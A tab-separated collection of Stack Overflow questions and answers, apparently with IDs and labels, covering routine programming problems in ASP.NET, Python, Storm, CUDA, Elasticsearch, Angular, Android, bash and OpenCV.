31462287	0	What could be causing this JavaScript error? <p>I'm modifying an ASP.NET webform that loads a user control. In the user control there is JavaScript that is generating an error. The error is:</p> <blockquote> <p>JavaScript runtime error: The value of the property 'GetFirstItineraryObjects' is null or undefined, not a Function object</p> </blockquote> <p>This is a call in a list of function calls containing:</p> <pre><code>GetFirstItineraryObjects(); </code></pre> <p>And yes, when I examine the page source when it renders (after blowing past the JS error), this function is indeed there. I did wonder if the one line in this function that I modified might be causing the problem, so I commented it out. But the error still occurs.</p> <p>What can cause a JavaScript runtime error of this nature?</p> <p>I don't think this will help much, but here's the code which adds the JavaScript. Note that the entire page is rendered and sent to the browser before the browser can possibly execute any JavaScript in the page (this is for @Arwind).</p> <pre><code>clientScriptKey = "SetOriginalMileageObjectValues"; clientScriptText = string.Empty; if (!clientScript.IsClientScriptBlockRegistered(clientScriptType, clientScriptKey)) { clientScriptText = "function GetFirstItineraryObjects()" + Environment.NewLine; clientScriptText += " {" + Environment.NewLine; // a bunch of code clientScriptText += " }" + Environment.NewLine + Environment.NewLine; clientScript.RegisterClientScriptBlock(clientScriptType, clientScriptKey, clientScriptText, true); } clientScriptKey = "CreateMileageDataOldValues"; clientScriptText = string.Empty; if (!clientScript.IsClientScriptBlockRegistered(clientScriptType, clientScriptKey)) { clientScriptText = "GetFirstItineraryObjects();" + Environment.NewLine; clientScriptText += "GetFromLocationOldValues();" + Environment.NewLine; clientScriptText += "GetToLocationOldValues();" + Environment.NewLine; clientScriptText += "GetStartDateOldValues();" + Environment.NewLine; clientScript.RegisterStartupScript(clientScriptType, clientScriptKey, clientScriptText, true); } </code></pre> <p>Upon further examination, all four of those function calls (not just GetFirstItineraryObjects) throw the same JavaScript error, AND the functions do exist at runtime.</p>
10291342	0	 <p>It's the opposite. There wasn't one out of the box in 1.3, and you had to download one from the gallery, whereas it's built-in 1.4.</p>
40665116	1	How to open a .txt file, analyze each individual date, determine how many time a day of the week appeared, in Python? <p>I am working on a project that I was able to do manually by hand, but am troubled when trying to write it in Python. I'm a new programmer in college.</p> <p>I have a .txt file that looks like so (for the sake of space I will only paste a bit, but there is 134 rows, not including the Date, Event #, Time, etc.)</p> <pre><code>Date Event # TIME Victim Name V R/G V Age 150101 0685 2:03 Anderson, Kedral BM 26 150103 0816 5:57 Shines, Kathryn WF 54 150106 4417 22:06 Norton, Noella HF 46 150107 4655 23:27 Speidel, Steven WM 41 150110 1100 8:35 Orozco, Jose HM 53 140813 2059 14:53 Liu, Kim Chunng AF 74 </code></pre> <p>I then need to collect the data, analyze it, and determine:</p> <ul> <li><p>The day of the week each homicide occurred on.</p></li> <li><p>A count of the number of homicides that occurred on each day of the week.</p></li> <li><p>A count of the number of homicides that fall within each hour block of the 24 hour time clock.</p></li> <li><p>A percentage of each racial/gender category for the 2015 homicides.</p></li> <li><p>A count of the number of homicide victims falling in each age category (0-10,11-20,21-30,31-40,41-50,51-60, etc.)</p></li> <li><p>Then take that data and put it in to a series of plots which I have the code for and know how to do.</p></li> </ul> <p>Here is the help I need:</p> <ol> <li><p>I need help with taking each "150101" and using Zeller's congruence to determine the date and put them in a list I believe.</p></li> <li><p>I have a very good idea of what I need to do, I just don't know how exactly to go about it</p></li> </ol> <p>Here is what I have so far:</p> <pre><code>fd = open("2015HomicideLog.txt",'r') bd = {} skipline = fd.readline() for line in fd: bd.append(line.split()[0] </code></pre> <p>Here is my code for zellers:</p> <pre><code>def zeller(day, month, year): if month == 1: A = 11 year = year - 1 elif month == 2: A = 12 year = year - 1 elif month == 3: A = 1 year = year elif month == 4: A = 2 year = year elif month == 5: A = 3 year = year elif month == 6: A = 4 year = year elif month == 7: A = 5 year = year elif month == 8: A = 6 year = year elif month == 9: A = 7 year = year elif month == 10: A = 8 year = year elif month == 11: A = 9 year = year elif month == 12: A = 10 year = year yearlist = list(str(year)) twodigityear = yearlist[2] + yearlist[3] twodigitcentury = yearlist[0] + yearlist[1] B = day C = int(twodigityear) D = int(twodigitcentury) W = (13 * int(A) - 1) / 5 X = int(C) / 4 Y = int(D) / 4 Z = int(W) + int(X) + int(Y) + int(B) + int(C) - (2 * int(D)) R = Z % 7 if R == 0: print("Sunday") elif R == 1: print("Monday") elif R == 2: print("Tuesday") elif R == 3: print("Wednesday") elif R == 4: print("Thursday") elif R == 5: print("Friday") elif R == 6: print("Saturday") </code></pre>
29492810	0	 <p>You could store this information to a map while import. As it grows really big I suggest using a preallocated long-array with as many entries as there are edges. E.g. use a custom encoder:</p> <pre><code>CarFlagEncoder carEncoder = new CarFlagEncoder(5, 5, 3) { @Override public void applyWayTags(OSMWay way, EdgeIteratorState edge) { ghEdgeIdToOSMWayIdMap[edge.getEdge()] = way.getId(); super.applyWayTags(way, edge); } }; setEncodingManager(new EncodingManager(carEncoder, ...)); </code></pre>
29390740	0	Kafka Spout fails to acknowledge message in storm while setting multiple workers <p>I have a storm topology that subscribes events from Kafaka queue. The topology works fine while the number of workers config.setNumWorkers is set to 1. When I update the number of workers to more than one or 2, the KafkaSpout fails to acknowledge the messages while looking at storm UI. What might be the possible cause, I am not able to figure out, the exactness of problem. </p> <p>I have a 3 node cluster running one nimbus and 2 supervisors. </p>
16488939	0	 <p>You can add the footer at the end:</p> <pre><code>%body = render :partial =&gt; "landing/landingmenu" - if devise_controller? #login .span4.offset4 = yield - else = yield = render :partial =&gt; "landing/footer" .footer </code></pre>
16418755	0	 <p>The entire difference is like you said, in texture caching. So choosing between either of these methods depends on whether or not you will want to exploit texture caching in your visualization. Lets look at some common cases:</p> <p>a) If you want to calculate how a surface is deformed (for example the surface of water, or maybe some elastic deformation) and you need to know the new vertices for the surface's polygonal mesh then you would typically use Buffers (Number one), except you wouldn't need to copy to an OpenGL texture here. In fact there would be no copying involved here, you would just reference the buffer in CUDA and use it as a gl buffer.</p> <p>b) If you have a particle simulation and need to know the updated particle's position, you would also just use a buffer as in the above case.</p> <p>c) If you have a finite element grid simulation, where each fixed volume cell in space would gain a new value and you need to visualize it via volume rendering or isosurface, here you would want to use a texture object (2D or 3D depending on the dimensionality of your simulation), because when you're casting rays, or even generating streamlines you will almost always be needing to immediately have the neighboring texels cached. And you can avoid doing any copying here, as in the above method you could also directly reference some CUDA texture memory (cudaArray) from OpenGL. You would use these calls to do that:</p> <pre><code>cudaGraphicsGLRegisterImage( &amp;myCudaGraphicsResource, textureNameFromGL, GL_TEXTURE_3D,...) ... cudaGraphicsMapResources(1, myCudaGraphicsResource) cudaGraphicsSubResourceGetMappedArray(&amp;mycudaArray, myCudaGraphicsResource, 0, 0) cudaGraphicsUnMapResources(1, myCudaGraphicsResource) </code></pre> <p>and so this texture data in CUDA can be referenced by mycudaArray while this same memory in OpenGL can referenced by textureNameFromGL.</p> <p>Copying from a buffer into a texture is a bad idea because if you need this data for texture caching you will be doing the additional copy. This was more popular in the earlier versions of CUDA before texture interop was supported</p> <p>You could also use textures in the a) and b) use cases as well. With some hardware it might even work faster, but this is very hardware dependent. Keep in mind also that texture reading also applies minification and magnification filters which is extra work if all you're looking for is an exact value stored in a buffer.</p> <p>For sharing textures resources with CUDA and OpenGL please refer to this sample</p> <p><a href="https://github.com/nvpro-samples/gl_cuda_interop_pingpong_st" rel="nofollow">https://github.com/nvpro-samples/gl_cuda_interop_pingpong_st</a></p>
22447871	0	Implement Equivalent Elasticsearch titan query using Elasticsearch java driver <p>I asked question related to pagination in Elastic Search result fetched by titan here</p> <p><a href="http://stackoverflow.com/questions/22436106/pagination-with-elastic-search-in-titan/22439442?noredirect=1#22439442">Pagination with Elastic Search in Titan</a></p> <p>and concluded that its not supporting right now so to get it I decided to search <code>Titan</code> index directly using ES java client.</p> <p>Here is ths Titan way of fetching ES records:</p> <pre><code>Iterable&lt;Result&lt;Vertex&gt;&gt; vertices = g.indexQuery("search","v.testTitle:(mytext)") .addParameter(new Parameter("from", 0)) .addParameter(new Parameter("size", 2)).vertices(); for (Result&lt;Vertex&gt; result : vertices) { Vertex tv = result.getElement(); System.out.println(tv.getProperty("testTitle")+ ": " + result.getScore()); } </code></pre> <p>Its return 1 record.</p> <p>but addParameter() is not supported so pagination is not allowed. So i wanted to do same thing directly from ES java client as below:</p> <pre><code>Node node = nodeBuilder().node(); Client client = new TransportClient().addTransportAddress(new InetSocketTransportAddress("127.0.0.1", 9300)); SearchResponse response = client.prepareSearch("titan") .setSearchType(SearchType.DFS_QUERY_THEN_FETCH) .setQuery(QueryBuilders.fieldQuery("testTitle", "mytext")) // Query .execute() .actionGet(); System.out.println(response.getHits().totalHits()); node.close(); </code></pre> <p>Its printing zero in my case. but the same query in Titan code (above) return 1 record. Am I missing some <code>Titan</code> specific parameters or options in this ES java code????</p>
22369940	0	 <p>Its just a mathematical calculation which can done using javascript alone. There is no need of AJAX as I guess. You get the input and calculate and display it with drawing even using canvas.</p> <p>What you need is formulas as in the link you need <code>A = π * (r * r)</code> for circle</p> <p>and for square <code>A = a * a</code> where a is the length of a side.</p> <p>Using keyup call backs you can easily make it without using a button. See a example <a href="http://jsfiddle.net/U9reT/" rel="nofollow">here</a></p> <p>HTML</p> <pre><code>&lt;input type="text" id="radius" /&gt; &lt;div id="res"&gt; Area is &lt;span&gt; 0 &lt;/span&gt; &lt;/div&gt; </code></pre> <p>jquery</p> <pre><code>$(document).ready(function() { $("#radius").keyup(function(e) { e.preventDefault(); var r = parseInt($(this).val(),10); var a = (r*r) * 3.142; $("#res span").html(a); }); }); </code></pre> <p>javascript</p> <pre><code>var rad = document.getElementById("radius"); rad.addEventListener("keyup", function() { var r = parseInt(this.value, 10); var a = (r*r) * 3.142; alert(a);// display it in a element instead of alert }, false); </code></pre>
24315937	0	 <p>You could install Visual studio on build server, and run devenv.exe from a commandline build runner in TeamCity. It doesn't feel right, but I think it will work. See <a href="http://www.tandisoft.com/2011/08/building-visual-studio-setup-projects.html" rel="nofollow">this link</a>.</p>
21793009	0	 <p>Most uses of <code>after_initialize</code> can be (and SHOULD be) replaced with defaults on the corresponding database columns. If you're setting the property to a constant value, you may want to look into this as an alternative.</p> <p>EDIT: if the value isn't constant, a call to <code>has_attribute?(:name)</code> will guard against this error - <a href="http://stackoverflow.com/questions/6820156/activemodelmissingattributeerror-occurs-after-deploying-and-then-goes-away-aft">ActiveModel::MissingAttributeError occurs after deploying and then goes away after a while</a></p>
24652309	0	 <p>The function <code>OnePlusNumber(x);</code> return a Integer.</p> <p>Replace it with <code>x = OnePlusNumber(x);</code> </p>
31850691	0	 <p>You library must support all the frameworks that you web project it targeting. This is why the default Class Library project in VS15 targeting dotnet, which is supporting the widest ranges of frameworks. </p>
37843609	0	Angular 2 testcomponentbuilder does not work with several directives from third party libraries <p>I am writing unit tests for my angular 2 component with Jasmine framework and somehow Jasmine always skips my spec if I include directives not from the angular original module (in my case the test only works with directives for example from angular/core and angular/common). This is my app component:</p> <pre><code>import {Component, Input, OnInit} from '@angular/core'; import {NgStyle} from '@angular/common'; import { CollapseDirective } from 'ng2-bootstrap/components/collapse'; import {MdButton} from '@angular2-material/button'; import { MdDataTable } from 'ng2-material'; import { EntityFilterPipe } from './entity-filter.pipe'; import { NgFor } from '@angular/common'; @Component({ selector: 'test', templateUrl: 'app/entity.html', pipes: [EntityFilterPipe], directives: [NgStyle, NgFor, CollapseDirective] }) export class EntityTestComponent implements OnInit { public title = 'Entities'; @Input() name:string; showSearch: boolean = true; listFilter:string; toggleSearch(): void { this.showSearch = !this.showSearch; } ngOnInit() { console.log("printed"); } } </code></pre> <p>And this is my spec:</p> <pre><code>import {describe, it, beforeEach, inject, expect, beforeEachProviders } from '@angular/core/testing'; import { ComponentFixture, TestComponentBuilder } from '@angular/compiler/testing'; import { EntityTestComponent } from './entity-test.component'; export function main() { describe('Entity component', () =&gt; { let tcb: TestComponentBuilder; beforeEachProviders(() =&gt; [TestComponentBuilder, EntityTestComponent]); beforeEach(inject([TestComponentBuilder], (_tcb: TestComponentBuilder) =&gt; { tcb = _tcb })); it('should display no item found when item is not on the list', done =&gt; { //expect(true).toBe(true); tcb.createAsync(EntityTestComponent).then(fixture =&gt; { let property = fixture.componentInstance; expect(property.showSearch).toBe(true); done(); }) .catch(e =&gt; done.fail(e)); }); </code></pre> <p>The spec is run if I only include NgStyle and NgFor in my list directives. When I tried including anything from different libraries, such as CollapseDirective or MdDataTable, the spec is skipped -- jasmine test does not show success or failure. Any suggestion is much appreciated! Thanks</p>
23405271	0	Change the PegMan position on a Google map <p>I've succeeded in moving all other controls on a Google map with the following small screen css:</p> <pre><code>div.gmnoprint, div.gmnoprint:nth-child(8) &gt; div:nth-child(2) &gt; div:nth-child(4) &gt; img:nth-child(1) { padding-top: 130px; } </code></pre> <p>This is needed to move the map controls below a logo on a mobile/small screen version of a site. The pan, zoom and map type controls all move correctly but the Peg Man stays in its original position which is behind the site logo (which I can't move easily).</p> <p>The element identifier used in the above css is what the Firefox inspector claims is the Peg Man image but I've also tried removing weekend from the end of that identifier to modify the div tags rather than the image - the Peg Man just won't move!</p> <p>You can see the problem at <a href="http://www.BlueBadgeParking.com" rel="nofollow">http://www.BlueBadgeParking.com</a> on device with a screen size of less than 400px.</p>
7358483	0	 <p>As I suppos the main reason was compiler settings, I make some modifications in <strong><em>makefile</em></strong> and my .a archive linked to shared library, here are modifications.</p> <pre><code>GCC := C:\Tools\ndk-toolchain\ndk-standalone\bin\arm-linux-androideabi-gcc.exe GPP := C:\Tools\ndk-toolchain\ndk-standalone\bin\arm-linux-androideabi-g++.exe AR := C:\Tools\ndk-toolchain\ndk-standalone\bin\arm-linux-androideabi-ar.exe OPTIONS :=\ -fpic \ -ffunction-sections \ -funwind-tables \ -fstack-protector \ -D__ARM_ARCH_5__ \ -D__ARM_ARCH_5T__ \ -D__ARM_ARCH_5E__ \ -D__ARM_ARCH_5TE__ \ -Wno-psabi \ -march=armv5te \ -mtune=xscale \ -msoft-float \ -mthumb \ -Os \ -fomit-frame-pointer \ -fno-strict-aliasing \ -finline-limit=64 \ -DANDROID \ -Wa, \ -O2 \ -DNDEBUG \ -g \ default: all all: obj $(AR) r libtestlibrary.a *.o obj: $(GCC) $(OPTIONS) -c *.c </code></pre>
28367660	0	Filter out events <p>I have a TellstickDuo, a small device capable of sending signals to my lamps at home to turn them on or off based on a schedule. This device sends around 3-5 "on-signals" and "off-signals" every time i press the remote control button (to make sure at least one signal is sent correctly i guess!?). I also have a Raspberry Pi that listens for these signals and starts a script when a specific signal is found (based on the lamp-devices id´s).</p> <p>The problem is that everytime when it sends 3-5 signals my script runs the same amount of times but i only want it to run once. Is there any way to capture these signals and with bash (.sh) ignore everyone but one ?</p> <p>Code sent from device:</p> <pre><code>...RUNNING /usr/bin/php /var/www/autosys/python_to_raw.php "class:command;protocol:arctech;model:selflearning;house:13741542;unit:10;group:0;method:turnon;" ...RUNNING /usr/bin/php /var/www/autosys/python_to_raw.php "class:command;protocol:arctech;model:selflearning;house:13741542;unit:10;group:0;method:turnon;" ...RUNNING /usr/bin/php /var/www/autosys/python_to_raw.php "class:command;protocol:arctech;model:selflearning;house:13741542;unit:10;group:0;method:turnon;" ...RUNNING /usr/bin/php /var/www/autosys/python_to_raw.php "class:command;protocol:arctech;model:selflearning;house:13741542;unit:10;group:0;method:turnon;" </code></pre> <p>and my script is:</p> <pre><code>#!/bin/bash if [[ ( "${RAWDATA}" == *13741542* ) &amp;&amp; ( "${RAWDATA}" == *turnon* ) ]]; then # Something will be done here, like turn on a lamp, send an email or something else fi </code></pre> <p>(Some explanation to the RAWDATA code can be found here: <a href="http://developer.telldus.com/blog/2012/11/new-ways-to-script-execution-from-signals" rel="nofollow">http://developer.telldus.com/blog/2012/11/new-ways-to-script-execution-from-signals</a>)</p> <p>If i set my bash-script to send an email i get 4 emails, if i set it to update a counter at my local webpage it updates it 4 times. There is no way to controll how many signals the device will send, but can i only capture it once somehow? Maybe some way to "run script on first signal and drop everything else for 5 seconds"</p>
13856259	0	 <p>It might be a formatting issue. If Philip A Barnes suggestions are not enough (or if you want an automated solution), check the <a href="http://www.microsoft.com/en-us/download/details.aspx?id=21649" rel="nofollow">Microsoft Excel Excess Formatting Cleaner Add-in</a></p>
36385105	0	 <p>I think you shouldn't be touching to the gradle/index.[android¦ios].js files when you change the root directory ; the paths are relatives meaning as long as you don't change your folder hierarchy it will keep working.</p> <p>The best way to add react-native to an existing projet is to first add it via <code>npm</code> :<br> <code>npm install --save react react-native</code></p> <p>Then, copy your <code>android</code>, <code>ios</code> folders and your <code>js</code> files to the root of your project.<br> Copying/merging <code>.flowconfig</code> and <code>.gitignore</code> files is recommended (if you use git and/or flow).</p> <p>You should be able then to start your project using react-native run-android.</p> <p>I think your problem there is that you didn't install the npm packages in the new project (or maybe I am totally wrong)</p>
19011024	0	 <p>Use this function in your c program</p> <pre><code>int Add(int a, int b) { while (b) { // carry now contains common set bits of "a" and "b" int carry = a &amp; b; // Sum of bits of "a" and "b" where at least one of the bits is not set a = a ^ b; // Carry is shifted by one so that adding it to "a" gives the required sum b = carry &lt;&lt; 1; } return a; } </code></pre>
26934550	0	 <p>A more-succint version of the same logic:</p> <pre><code>^(\d{2,4}|\d{6})$ </code></pre>
23311015	0	Include jQuery files in Node app's DOM on localhost <p>So I got jQuery to work in my Node app. Let's say I have the following code:</p> <pre><code>var body = '&lt;html&gt;'+ '&lt;head&gt;'+ '&lt;script type="text/javascript" src="//ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"&gt;&lt;/script&gt;'+ '&lt;/head&gt;'+ '&lt;body&gt;'+ '&lt;script type="text/javascript"&gt;'+ '$(document).ready(function(){ alert('hey'); }); '+ '&lt;/script&gt;'+ '&lt;/body&gt;'+ '&lt;/html&gt;'; response.writeHead(200, {"Content-Type": "text/html"}); response.write(body); response.end(); </code></pre> <p>This works fine. However when I want to try and include a JS file like this (in the head):</p> <pre><code> '&lt;script type="text/javascript" src="scripts/main.js"&gt;&lt;/script&gt;' </code></pre> <p>I get a 404 error even though the script is in the right place (and the 8888 port is also the correct port) This is the error I get:</p> <pre><code> GET http://localhost:8888/scripts/main.js 404 (Not Found) </code></pre> <p>Any idea what I'm doing wrong? I'm pretty new to node.</p>
634942	0	 <p>If your projects are separated in a different file from ccnet.config, then you need to restart the service unless you touch the actual ccnet.config. </p> <p>We use ENTITY with SYSTEM file reference in ccnet.config for our projects, so we're in the same boat. I'm happy to pay the price for easier project maintenance, as it's easy to script a restart:</p> <pre><code>net stop CCService net start CCService IISRESET </code></pre> <p>If you wanted to completely automate this, and had your projects under source control, then you could trigger an update and restart whenever your project files are touched.</p>
36344126	0	Cleaning a segmented image in Opencv <p>I have this original:</p> <p><a href="https://i.stack.imgur.com/BFvgZ.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/BFvgZ.jpg" alt="enter image description here"></a></p> <p>After segmentation I obtained this image:</p> <p><a href="https://i.stack.imgur.com/91A9h.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/91A9h.jpg" alt="enter image description here"></a></p> <p>As you can see it is still not perfectly segmented. Any suggestions on how to further "clean" this segmented image? Here is my code:</p> <pre><code>using namespace cv; using namespace std; Mat COLOR_MAX(Scalar(65, 255, 255)); Mat COLOR_MIN(Scalar(15, 45, 45)); int main(int argc, char** argv){ Mat src,src2,hsv_img,mask,gray_img,initial_thresh,second_thresh,add_res,and_thresh,xor_thresh,result_thresh,rr_thresh,final_thresh; // Load source Image src = imread("banana2.jpg"); src2 = imread("Balanced_Image1.jpg"); imshow("Original Image", src); cvtColor(src,hsv_img,CV_BGR2HSV); imshow("HSV Image",hsv_img); //imwrite("HSV Image.jpg", hsv_img); inRange(hsv_img,COLOR_MIN,COLOR_MAX, mask); imshow("Mask Image",mask); cvtColor(src,gray_img,CV_BGR2GRAY); adaptiveThreshold(gray_img, initial_thresh, 255,ADAPTIVE_THRESH_GAUSSIAN_C, CV_THRESH_BINARY_INV,257,2); imshow("AdaptiveThresh Image", initial_thresh); add(mask,initial_thresh,add_res); erode(add_res, add_res, Mat(), Point(-1, -1), 1); dilate(add_res, add_res, Mat(), Point(-1, -1), 5); imshow("Bitwise Res",add_res); threshold(gray_img,second_thresh,150,255,CV_THRESH_BINARY_INV | CV_THRESH_OTSU); imshow("TreshImge", second_thresh); bitwise_and(add_res,second_thresh,and_thresh); imshow("andthresh",and_thresh); bitwise_xor(add_res, second_thresh, xor_thresh); imshow("xorthresh",xor_thresh); bitwise_or(and_thresh,xor_thresh,result_thresh); imshow("Result image", result_thresh); bitwise_and(add_res,result_thresh,final_thresh); imshow("Final Thresh",final_thresh); erode(final_thresh, final_thresh, Mat(), Point(-1,-1),6); bitwise_or(src,src,rr_thresh,final_thresh); imshow("Segmented Image", rr_thresh); imwrite("Segmented Image.jpg", rr_thresh); waitKey(0); return 1; }` </code></pre>
7169872	0	 <p>You override the global language setting in your user defaults by calling</p> <pre><code>[[NSUserDefaults standardUserDefaults] setObject:@"YOURCOUNTRY" forKey:@"AppleLanguages"]; </code></pre> <p>However by doing this your user will have to restart the application unless you call this in the <code>main()</code> method before <code>UIApplicationMain()</code> is called</p> <p>Edit: look <a href="http://blog.federicomestrone.com/2010/09/15/iphone-apps-and-device-language-setting/" rel="nofollow">here</a> for an example on how to do this.</p>
40480433	0	 <p>Removing this line of code worked.</p> <pre><code>let testArray: NSMutableArray = [] </code></pre>
9293991	0	How to get the data via ajax in servlet? <p>I would like to send some data on the page to servlet</p> <p>so I have written following jquery to do this</p> <p>I use all data to build a json string, and directly send it to servlet</p> <p>but I don't know how to get the whole data from the ajax in servlet</p> <pre><code>$("#save").click ( function() { $.ajax ( { url:'/WebApplication1/Controller', data:'{"name":"abc","address":"cde"}', type:'post', cache:false, success:function(data){alert(data);}, error:function(){alert('error');} } ); } ); </code></pre> <p>if see the the Form Data segment of request headers from chrome</p> <p>you will see the whole json string is the key.</p> <pre><code>Request URL:http://192.168.0.13/WebApplication1/Controller Request Method:POST Status Code:404 Not Found Request Headersview source Accept:*/* Accept-Charset:Big5,utf-8;q=0.7,*;q=0.3 Accept-Encoding:gzip,deflate,sdch Accept-Language:zh-TW,zh;q=0.8,en-US;q=0.6,en;q=0.4 Connection:keep-alive Content-Length:112 Content-Type:application/x-www-form-urlencoded Host:192.168.0.13 Origin:http://192.168.0.13 Referer:http://192.168.0.13/system_admin/building.html User-Agent:Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.910.0 Safari/535.7 X-Requested-With:XMLHttpRequest Form Dataview URL encoded {"name":"abc","address":"cde"}: Response Headersview source Accept-Ranges:bytes Connection:Keep-Alive Content-Language:en Content-Type:text/html; charset=iso-8859-1 Date:Wed, 15 Feb 2012 12:37:24 GMT Keep-Alive:timeout=5, max=100 Server:Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1 Transfer-Encoding:chunked Vary:accept-language,accept-charset </code></pre>
8584821	0	 <ul> <li>Are the requirement dependencies in C.lua correct? Can this be done or is it circular? <ul> <li>What you have looks fine to me.</li> </ul></li> <li>Can I overload mycalc(a,b) so it is same function name in both A and B? <ul> <li>I don't think that would make sense without another change, which would be to scope the definitions in A and B and return a table from each. That would look like this:</li> </ul></li> </ul> <p>B.lua (and A.lua similarly):</p> <pre><code>require 'mycalculator' local a=1; local b=2; local X=50; local function mycalcB(a,b) return myadd(a,b)+50; end B = { mycalc = mycalcB } return B </code></pre> <p>C.lua:</p> <pre><code>require 'A' require 'B' print(B.mycalc(1,2)) print(A.mycalc(1,2)) </code></pre>
21096612	0	 <p>Came across this and remembered that I recently found a way that works.<br /> Basically iterating over all fields removing and re-adding them with merged options.<br /> Take this example below.</p> <pre><code>public function buildForm(FormBuilder $builder, array $options) { $builder -&gt;add('name_short') -&gt;add('name_long') -&gt;add('profile_education') -&gt;add('profile_work') -&gt;add('profile_political') -&gt;add('twitter') -&gt;add('facebook') -&gt;add('website') ; $commonOptions = array('attr' =&gt; array('class' =&gt; 'rtl')); foreach($builder-&gt;all() as $key =&gt; $field) { $options = $field-&gt;getOptions(); $options = array_merge_recursive($options, $commonOptions); $builder-&gt;remove($key); $builder-&gt;add($key, $field-&gt;getName(), $options); } } </code></pre>
35755334	0	Android Gridview with ImageButtons and TextViews. Items in gridview not lining up <p>I've got a view that has a GridView with Image Buttons and Textviews but whenever the textviews that are multi line the items are not lining up as shown below. I could set the TextView as </p> <pre><code>android:singleLine="true" </code></pre> <p>But I prefer not to. </p> <p><a href="https://i.stack.imgur.com/1DZzz.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/1DZzz.png" alt="enter image description here"></a></p> <p>GridView code :</p> <pre><code> &lt;GridView android:id="@+id/gridview" android:layout_width="fill_parent" android:layout_height="match_parent" android:columnWidth="90dp" android:numColumns="auto_fit" android:layout_marginRight="10dp" android:layout_marginLeft="10dp" android:layout_marginTop="10dp" android:layout_marginBottom="10dp" android:verticalSpacing="10dp" android:horizontalSpacing="10dp" android:stretchMode="columnWidth" android:gravity="center" android:layout_weight="1" /&gt; </code></pre> <p>Template for ImageButton and TextView called by BaseAdapter : </p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="fill_parent" android:layout_height="fill_parent" android:orientation="vertical"&gt; &lt;ImageButton android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginRight="10dp" android:layout_marginLeft="10dp" android:layout_marginTop="10dp" android:layout_marginBottom="10dp" android:id="@+id/MainMenuImageButton" android:layout_alignParentRight="true" android:scaleType="fitCenter" /&gt; &lt;TextView android:id="@+id/MainMenuTextView" android:layout_width="match_parent" android:layout_height="wrap_content" android:fontFamily="trebuchet" android:layout_marginLeft="10dp" android:textColor="@android:color/black" android:singleLine="true" android:textSize="15sp" android:textStyle="bold" /&gt; &lt;/LinearLayout&gt; </code></pre> <p>If you have a suggestion I'd appreciate it. Thank you.</p>
36654062	0	 <p>I've come up to inflate a layout and it's been way faster.</p> <pre><code> View v = inflater.inflate(R.layout.choose_activity_dialog_view, container, false); int count = 1; TableRow row = new TableRow(getContext()); TableLayout mainLayout = (TableLayout) v.findViewById(R.id.choose_activity_dialog_table_layout); for(UserActivity ua : HomeActivity.userActivityStore.getUserActivities()){ Activity currentActivity = HomeActivity.activityStore.findByActivityId(ua.getActivityId()); if(currentActivity == null) continue; View chooseActivityView = inflater.inflate(R.layout.choose_activity_item, (ViewGroup) row, false); RelativeLayout relativeLayout = (RelativeLayout) chooseActivityView.findViewWithTag("relative_layout"); row.addView(relativeLayout); if(count % 3 == 0){ count = 0; mainLayout.addView(row); row = new TableRow(getContext()); } count++; </code></pre> <p>My layout looks like this :</p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;!-- ACTIVITY TYPE --&gt; &lt;RelativeLayout android:layout_weight="1" android:layout_width="0dip" android:layout_height="wrap_content" android:layout_gravity="start" android:tag="relative_layout" xmlns:android="http://schemas.android.com/apk/res/android" android:layout_marginBottom="25dip"&gt; &lt;ImageView android:layout_width="match_parent" android:layout_height="40dp" android:src="@drawable/pct_amhe_white" android:layout_gravity="center_horizontal" android:scaleType="centerInside" /&gt; &lt;TextView android:layout_marginTop="50dp" android:layout_width="match_parent" android:layout_height="wrap_content" android:text="Test" android:gravity="center" android:textColor="@color/white" /&gt; &lt;/RelativeLayout&gt; </code></pre> <p>I'd advise people looking for a solution to their problem that the second argument of inflate changes a lot about the render.</p>
23628416	0	 <p>This is how I did it, when I had such a requirement</p> <pre><code>public class Schedule { public Schedule()throws Exception{ SchedulerFactory sf=new StdSchedulerFactory(); Scheduler sched=sf.getScheduler(); sched.start(); JobDetail jd=new JobDetailImpl("myjob",sched.DEFAULT_GROUP,QuartzJob.class); SimpleTrigger st=new SimpleTriggerImpl("mytrigger",sched.DEFAULT_GROUP,new Date(), null,SimpleTrigger.REPEAT_INDEFINITELY,60L*1000L); sched.scheduleJob(jd, st); } public static void main(String args[]){ try{ new Schedule(); }catch(Exception e){} } } </code></pre> <p>==================================</p> <pre><code>public class QuartzJob implements Job{ @Override public void execute(JobExecutionContext arg0) throws JobExecutionException { String[] springConfig = { "resources\\spring-batch.xml" ,"SPRING_BATCH_JOB_NAME" }; CommandLineJobRunner.main( springConfig ); System.out.println("Done"); } } </code></pre>
5549350	0	 <p>With whichever of the two languages you'll be using to determine whether the user is logged in, create a conditional statement that adds a html class to the input field that alters it's width say .input-full and .input-partial</p> <pre><code>IF user is logged in SET class to input-full ELSE SET class to input-partial ENDIF </code></pre> <p>sorry for the psedo code, then have appropriate CSS for each.</p> <p>oooh, didn't see the CSS only, sorry. Without CSS3 and a disregard for IE I don't think you can do this with straight CSS.</p>
